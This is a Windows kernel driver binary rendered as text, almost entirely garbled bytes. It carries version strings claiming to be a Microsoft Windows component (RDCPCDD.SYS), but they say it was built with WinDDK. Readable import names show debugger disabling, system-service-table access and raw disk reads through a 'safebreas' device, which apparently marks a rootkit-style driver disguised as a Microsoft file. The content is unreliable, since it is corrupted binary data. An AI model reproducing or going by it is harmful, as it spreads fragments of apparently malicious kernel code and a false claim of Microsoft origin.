MZ   @ ? ???L?This program cannot be run in DOS mode.$ o^?????????????p??u????????Rich+? PE L T}I              *         < $ ? ( x 0   .text     h.rdata U    @ H.data f    @ INIT     ?rsrc ? $  $ @ B.reloc ? (  ( @ B jh ?  u%e j h   P$ ?3@ËeM??  ` D$?b ??A?  XXXKdDisableDebugger %ws... U$ SVW3?f fEEEEEEEEEEEEEEEEE3ɍD 0f fMAr獅?Phf H YYPEP? EP? S? tӀ<3u 3?? Fr_^[̋L$I3 y,uI u ̃|$ Vt$ F(N?F(NHtW~?tW? W? _j j v,? V? ? ^? DriverUnload! UQQVu~ t-h, EP? EP? v? h? D Y3^ \ D e v i c e \ H a r d D i s k V o l u m e % d USV?? EEEP3SEPj ]]?hDdk uS? ;ÉE? h& EP? EPu?uj օ} Su?? aE?Wx]vJ_? j\S? YYt@?uP? YYtE???EM?r GEE?SP? _E^[ UV?? WEEEP3WEPj }}?hDdk uW? ;ljEt~MQuPj օ}WbE?8p}vSS^? j\S? YYt@?uP? YYtE???EM?rFEE tN ?[j u?? E_^ O b R e f e r e n c e O b j e c t B y N a m e \ D e v i c e \ H a r d D i s k V o l u m e % d Ul$ 3SW3ۈ]<}=fj3f]Y}f( ;É]TE\tE]aE^tE_eE`|Ea;EbfEclEdfEhiEiqEjGEk\ElCEmPEnGEoiEpTEqAErTEsEEt\ 3L\?L<@ r?Lh?ffLE@ rVE" T" d" t" ? ? ? ? ? ? # # 0# P# x ? h T}I  9 ? ?  ? ? ? p ? 0 4 , @  \ ? @  L t ? H   ? ? $ (  ,  ` B  L t ? H   ? ? $ (  ,  ` B  ( T ? H   p ? , 0 ( 4  `  8 d ? @    ?    $  `  $ L ? (   h  ? @ D H  p B \ D o s D e v i c e s \ s a f e b r e a s \ D e v i c e \ s a f e b r e a s 0 4 F T RSDSOT?YN?JrEn  ? B# ? ? ?  d# x# ? ? ? ? ? ? ! ! *! B! N! X! l! ? ? ? ? ? ? " " (" >" T" d" t" ? ? ? ? ? ? # # 0# P# x ? h 5ProbeForRead bIoGetCurrentProcess ?MmIsAddressValid ?MmGetSystemRoutineAddress RtlInitUnicodeString 0 DbgPrint ZIoFreeIrp IKeSetEvent [IoFreeMdl ?MmUnlockPages IIoDeleteDevice KIoDeleteSymbolicLink p_stricmp ?strrchr M ExFreePoolWithTag @ ExAllocatePoolWithTag 3ZwQuerySystemInformation !ObfDereferenceObject QIoDriverObjectType ?ZwClose 6ZwReadFile (ZwQueryInformationFile ;IoCreateFile `KeWaitForSingleObject ?KeGetCurrentThread ?MmProbeAndLockPages IoAllocateMdl IoAllocateIrp KeInitializeEvent ?KdDisableDebugger EKeServiceDescriptorTable 6ProbeForWrite ?IofCompleteRequest ObReferenceObjectByHandle UIoFileObjectType ^_allmul AIoCreateSymbolicLink 8IoCreateDevice ntoskrnl.exe h_except_handler3 @ KeGetCurrentIrql I KeStallExecutionProcessor HAL.dll      0   H `$ h h4 V S _ V E R S I O N _ I N F O ?    ?     ?  S t r i n g F i l e I n f o ?  0 4 0 9 0 4 B 0 L   C o m p a n y N a m e M i c r o s o f t C o r p o r a t i o n r %  F i l e D e s c r i p t i o n M i c r o s o f t ? W i n d o w s ? O p e r a t i n g S y s t e m N   F i l e V e r s i o n 0 . 0 0 0 b u i l t b y : W i n D D K 8  I n t e r n a l N a m e R D C P C D D . S Y S l $  L e g a l C o p y r i g h t C o p y R i g h t ( C ) M i c r o s o f t C o r p o r a t i o n <  O r i g i n a l F i l e n a m e R D C P C D D . c j %  P r o d u c t N a m e M i c r o s o f t ? W i n d o w s ? O p e r a t i n g S y s t e m 0   P r o d u c t V e r s i o n 0 . 0 0 0 D  V a r F i l e I n f o $  T r a n s l a t i o n ? 33#3*3E3O34)434<4R4??????555b5??????$6;6f6????&858E8Q8^8g8{8???9"9(9.949E9N9T9\9d9j9???????::$:??,?I?X?g?|???  0-0<0V0c0|0???$101:1K1e1???222??393C3P34U4???????15`5u5?????6???????7j7??????%8+808:8D8Q8]8o8t88?????????9d9j9p9v9|9????